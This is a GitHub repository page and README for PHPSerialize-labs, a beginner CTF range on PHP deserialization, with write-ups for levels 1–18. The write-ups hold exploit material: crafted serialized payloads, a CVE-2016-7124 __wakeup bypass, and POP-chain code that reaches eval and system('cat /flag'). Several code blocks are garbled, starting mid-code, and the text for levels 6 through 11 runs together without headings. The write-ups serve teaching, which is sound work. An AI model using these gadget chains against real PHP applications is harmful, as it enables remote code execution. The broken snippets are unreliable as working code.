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https://github.com/ProbiusOfficial/PHPSerialize-labs
【Hello CTF】PHPSerialize-labs是一个使用php语言编写的，用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
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【Hello CTF】PHPSerialize-labs是一个使用php语言编写的，用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
- Host: GitHub
- URL: https://github.com/ProbiusOfficial/PHPSerialize-labs
- Owner: ProbiusOfficial
- License: gpl-3.0
- Created: 2023-07-13T07:48:08.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2024-07-13T16:11:17.000Z (2 months ago)
- Last Synced: 2024-07-18T01:38:26.331Z (2 months ago)
- Topics: ctf, ctf-challenges, ctf-labs
- Language: PHP
- Homepage:
- Size: 354 KB
- Stars: 92
- Watchers: 5
- Forks: 8
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# PHPSerialize-labs
PHPSerialize-labs是一个使用php语言编写的，用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
# 推荐的学习资源
- [Bilibili-橙子科技-PHP反序列化漏洞学习](https://www.bilibili.com/video/BV1R24y1r71C)
> 为爱发电最强的一集，陈腾师傅的课应该是圈里面讲的最细的了，而且是一套完整体系，通俗易懂，很推荐各位看x
这个视频还有一套配套的靶场:[mcc0624/php_ser_Class](https://github.com/mcc0624/php_ser_Class)
- [ctfshow/web257-268](https://ctf.show/challenges#web254-713)
> ctfshow的题目是圈内出名的体系化和梯度化，很适合新手入门，其WP在网络上很容易找到，生态很不错。
当然ctfshow本身也有视频讲解：[Bilibili-ctfshow-Web257-268](https://www.bilibili.com/video/BV1D64y1m78f)
- [fine-1/php-SER-libs](https://github.com/fine-1/php-SER-libs)
> fine-1(这周末在做梦)师傅的靶场，在README中附带有WriteUp
- [PHP 手册](https://www.php.net/manual/zh/)
> PHP官方手册，遇事不决，看看说明书x
# 部署
## 使用 `docker-compose` 部署
```bash
git clone --depth 1 https://github.com/ProbiusOfficial/PHPSerialize-labs.git
cd PHPSerialize-labs
sudo docker-compose up -d # 访问 http://localhost:8080/
```
# 2024/07/04 更新
- Level 1: 类的实例化
- Level 2: 对象中值的传递
- Level 3: 对象中值的权限
- Level 4: 序列化初体验
- Level 5: 序列化的普通值规则
- Level 6: 序列化的权限修饰规则
# 2024/07/05 更新
- Level 7: 实例化和反序列化
- Level 8: 构造函数和析构函数以及GC机制
- Level 9: 构造函数的后门
# 2024/07/07 更新
- Level 10: __wakeup()
- Level 11: __wakeup() CVE-2016-7124
- Level 12: __sleep()
- Level 13: __toString()
- Level 14: __invoke()
- Level 15: POP链前置
- Level 16: POP链构造
- Level 17: 字符串逃逸基础-无中生有
# WriteUP
## Level 0
在开始学习序列化和反序列化之前，请先完成一些前导课程：
- PHP环境配置
- PHP语法基础
- PHP面向对象编程
若您对以上内容不熟悉，推荐您阅读菜鸟教程中 [PHP面向对象](https://www.runoob.com/php/php-oop.html) 部分。
## Level 1
第一题考察 类的实例化 —— 也就是对象的创建。
在 PHP 中，我们使用 new + 类名() 去创建一个对象。
**POST提交：**(注意由于防止非预期使用判断new的方法导致第一个方法无法使用，但思路不受影响)
code=`new FLAG();`
code=`$o=new FLAG();`
## Level 2
考察对象的赋值操作，相比于面向过程，对对象中值的更改，需要通过 `->` 符号来指向可修改的变量，这里的可修改指的是 控制修饰符 public 对应的值，像 protected 和 private 修饰的值，需要使用更复杂的修改方法。
对于任何可以修改的值，我们使用 `$对象名 -> 对应值 = 值` .eg: `$object_name->a="a"`
所以在这个题目中，我们需要将 `$flag_string` 赋值给 `$free_flag` 以便我们后面的 `get_free_flag()` 函数将他输出出来。
**POST提交：**
code=`$target->$free_flag=$flag_string;`
## Level 3
考察 控制修饰符：
- **public（公有）：** 公有的类成员可以在任何地方被访问。
- **protected（受保护）：** 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
- **private（私有）：** 私有的类成员则只能被其定义所在的类访问。(不可继承)
这里 SubFLAG 继承了 FLAG，除开 public 修饰的值，对于另外两个：
- `protected $protected_flag` 可以通过 `get_protected_flag()` / `get_private_flag()` 访问，因为受保护的变量是可以被继承的。
- `private $private_flag`则只能通过 `get_private_flag()` 进行访问，因为私有变量不能被继承。
而对象中函数的调用和值的访问类似，也通过 `->` 符号实现：`$对象名 -> 函数名();`
**POST提交：**
code=`echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();`
code=`echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();`
## Level 4
一道用来考察序列化的套壳题目，序列化虽然不会标记函数，但是会完整的输出变量和变量内容。
题目已经使用 `$flag_is_here = new FLAG();` 实例化创建了一个对象，所以我们只需要序列化并且打印出来这一段字符串。
**POST提交：**
code=`echo serialize($flag_is_here);`
你会得到这样的字符串：
```PHP
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
```
挑出对应部分拼接即可。
## Level 5
演示和考察序列化中 不同类型变量的不同格式。
而从结果上理解，反序列化其实和参数创建是一个等同的过程 —— 比如下面的例子：
```PHP
$a_string = "HelloCTF"; /*<=等价于=>*/ $a_string = unserialize('s:8:"HelloCTF";');
```
所以该题目按照后面部分的要求编写对应的变量进行序列化，将字符串赋给对应参数即可。
```PHP
a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");
$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);
echo $exp;
```
## Level 6
同样是演示和考察序列化中不同类型变量的不同格式，但这里比较特殊 —— 因为引入了控制修饰符。
在对象的序列化和反序列化中，不同控制修饰符，序列化出来的字符串是不同的：
```PHP
';";
function backdoor(){
eval($this->flag_command);
}
}
$Unserialize_object = unserialize('O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!
';";}');
```
比如在这个代码例子中，我们可以更改 `s:24:"echo 'Hello World!
';"` 这个字符串来做到控制最后 `backdoor()` 函数的执行结果。
所以对于该题目中`unserialize($_POST['o'])->backdoor();`，EXP：
```PHP
[unserialize()](https://www.php.net/manual/zh/function.unserialize.php) 会检查是否存在一个 [__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 方法。如果存在，则会先调用 `__wakeup` 方法，预先准备对象需要的资源。
>
> [__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 经常用在反序列化操作中，例如重新建立数据库连接，或执行其它初始化操作。
>
> ——[【PHP 手册 - 魔术方法 # wakeup】](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup)
当我们从序列化字符串还原对象，也就是进行反序列化操作的时候，wakeup方法会被触发：
```PHP
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
}
?>
```
题目要求我们用 `o` 以POST的方式提交一个序列化字符串，而后进行反序列化工作，所以我们只需要在本地创建FLAG类然后序列化为字符串即可，EXP：
```PHP
如果存在__wakeup方法，调用 unserilize() 方法前则先调用__wakeup方法，但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。
```PHP
class FLAG {
public $flag = "FAKEFLAG";
public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}
```
我们先使用语句` echo serialize(new FLAG());` 将其对应的序列化字符串输出出来，得到：
```PHP
O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
```
可以看到，该类有一个成员属性，我们手动修改成员属性对象的数量 1 -> 2：
```PHP
O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
```
再按照对应的要求，用 o 以 POST 的方式提交即可：
```PHP
o=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A8%3A%22FAKEFLAG%22%3B%7D
```
## Level 12
考察魔术方法 __sleep() 的使用。
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。
- **必要的返回内容**：该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']，数组中的属性名将决定哪些变量将被序列化，当属性被 static 修饰时，无论有无都无法序列化该属性。
- **私有属性命名**：如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - `%00父类名称%00变量名` (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中，PHP 才会解析转义字符和变量。)。
- 例如，父类 FLAG 的私有属性 `private $f`; 应该在子类的` __sleep()` 方法中以 "`\0FLAG\0f`" 的格式返回。
- **未返回任何内容**：如果 `__sleep()` 方法未返回任何内容或返回非数组类型，会触发 E_NOTICE 级别的错误，并且对象会被序列化为 `null` 空值。
该题目是一个 演示 + 实践 的组合题目（通俗点就是缝合怪（bushi
```PHP
return array($array_list[$_],$array_list[$__],$this->chance());
```
可以看到，每次我们请求的时候脚本都会返回两个随机数组，而这两个随机数组会决定我们看到的序列化字符串中涉及的变量，因此每次请求得到的字符串是不一样的。
而且下面的这部分代码告诉我们：
```PHP
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
```
每一次随机的字符串都是单字符 —— 这也就意味着，当他调用父类对象中的私有属性时无法显示，因为前面我们说到：“如果需要返回父类中的私有属性，需要使用序列化中的特殊格式 - `%00父类名称%00变量名`”。
好在题目提供了另一个方法：`function chance() { return $_GET['chance']; }` 来让我们自定义反序列化的内容。
最终的Flag：
```PHP
HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
```
## Level 13
本关考验你魔法方法中的 __toString() 方法，你将有该方法的对象，打印出来，得到 Flag 方可过关，你明白吗（雾
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
题目已经完成了类的实例化：`$obj = new FLAG();`
所以我们只需要 POST 提交 `o=echo $obj;` 即可。
## Level 14
该关卡考察魔术方法 __invoke()，当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。例如 $obj()。
__invoke() 也可以接受参数，如题目所示：
```PHP
class FLAG{
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}
$obj = new FLAG();
```
对象已经被实例化，我们需要给该对象传入 'get_flag' 字符串：
`o=$obj('get_flag')`,POST 提交即可。
## Level 15
一个简单的POP链题目原理题 —— 虽然是POP链有多个对象但本质上只用到了__wakeUp()魔术方法。
在 PHP 的面向对象中，对象的成员属性可以是一个对象（这里的对象包括自己在内的对象和其他对象）。
在序列化和反序列化题目中，我们通常从终点向上查找，比如下面的题目： 很明显，终点是：`class destnation` — `public function action(){ eval($this->cmd->a->b->c); }`
接下来就是考虑去调用终点，查找所有类，最后在D类中可以看到：
```
class D { public function __wakeUp() { $this->d->action(); }
```
即 `__wakeUp()` 函数存在一个 `action()` 的函数调用，所以我们只需要让 `$this->d` 的值为 实例化的 `class destnation`即可，那么EXP如下：
```PHP
a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}
$c = new C("system('cat /flag');");
$b = new B($c);
$a = new A($b);
$des = new destnation($a);
$d = new D($des);
unserialize(serialize($d));
```
## Level 16
第一个真正意义上的POP链，这里涉及到了三个我们在前面学过的魔术方法：
- `__wakeUp()` 方法用于反序列化时自动调用。例如 unserialize()。
- `__invoke()` 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
- `__toString()` 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
同样的我们先找终点 ——
```PHP
class A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}
```
很明显终点也需要一些更改：$this->a 的值要为 flag.php
然后查找，哪里有函数调用相关的类：
```PHP
class B {
public $b;
public function __toString() {
return ($this->b)();
}
}
```
那么让 $b = new A() 即可。
接下来就是触发 __toString() ，那么向上查找打印相关的函数 ——
```PHP
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
```
至此写出链子 INIT->name-->B->b->A->a，EXP:
```PHP
class A {
public $a='flag.php';
}
class B {
public $b;
}
class INIT {
public $name;
}
$a = new A();
$b = new B();
$b->b = $a;
$init = new INIT();
$init->name = $b;
echo urlencode(serialize($init));
```
## Level 17
本题为字符串逃逸题目的前置基础题，反序列化创建的对象由原始对象和序列化字符串共同决定，但是后者的优先级更高，这也就产生了一个"无中生有"的特性 —— 在极端条件下，A 类的代码定义为 `class A {}` 是一个完全空白的类，但此时用一个同样是A类但是有多种变量的对象创建的序列化字符串去反序列化还原时，可以得到一个拥有对应变量的A对象，这一点题目中演示得比较清楚。
为什么说共同决定，当序列化字符串中没有对应类的一些成员属性的时候，在反序列化时，解释器会直接从当前类中 COPY 序列化中不存在的成员属性。
这个题目最终需要构建一还原后属于A类的序列化字符串，其中需要存在一个变量` helloctfcmd` 的值为 `get_flag`，本地构建一个符合要求的A类直接输出序列化字符串即可：
```PHP
class A {
public $helloctfcmd = "get_flag";
}
echo urlencode(serialize(new A()));
```
## Level 18
本题依旧为字符串逃逸题目的前置基础题，序列化和反序列化另一个的规则特性,字符串尾部判定：在进行反序列化时，当成员属性的数量，名称长度，内容长度均一致时，程序会以 ";}" 作为字符串的结尾判定。
在前面的序列化过程我们可以得到这样的字符串：
```PHP
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
```
而阅读最后FLAG的条件源码，可知：
```PHP
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
include 'flag.php';
echo $flag;
} else {
echo "Your serliaze string is ".$serliseStringFLAG . "
And Here is ";
var_dump($FLAG);
}
```
可以看到本题要求我们做一些替换工作让 `key` 值为 `GET_FLAG` ，而在前面的对象创建过程中，我们知道 key 值为 `GET_FLAG";}FAKE_FLAG`，根据我们所知的特性，将 key 值对应的字符数量缩窄只留下 `GET_FLAG`，也就是 8 个字符 —— 将 20 替换为 8即可，接着 题目要求一个新的 FLAG 类，所以还需要将类名标识由 Demo 改为 FLAG。
```PHP
$target = ['Demo',20]
$change = ['FLAG',8]
```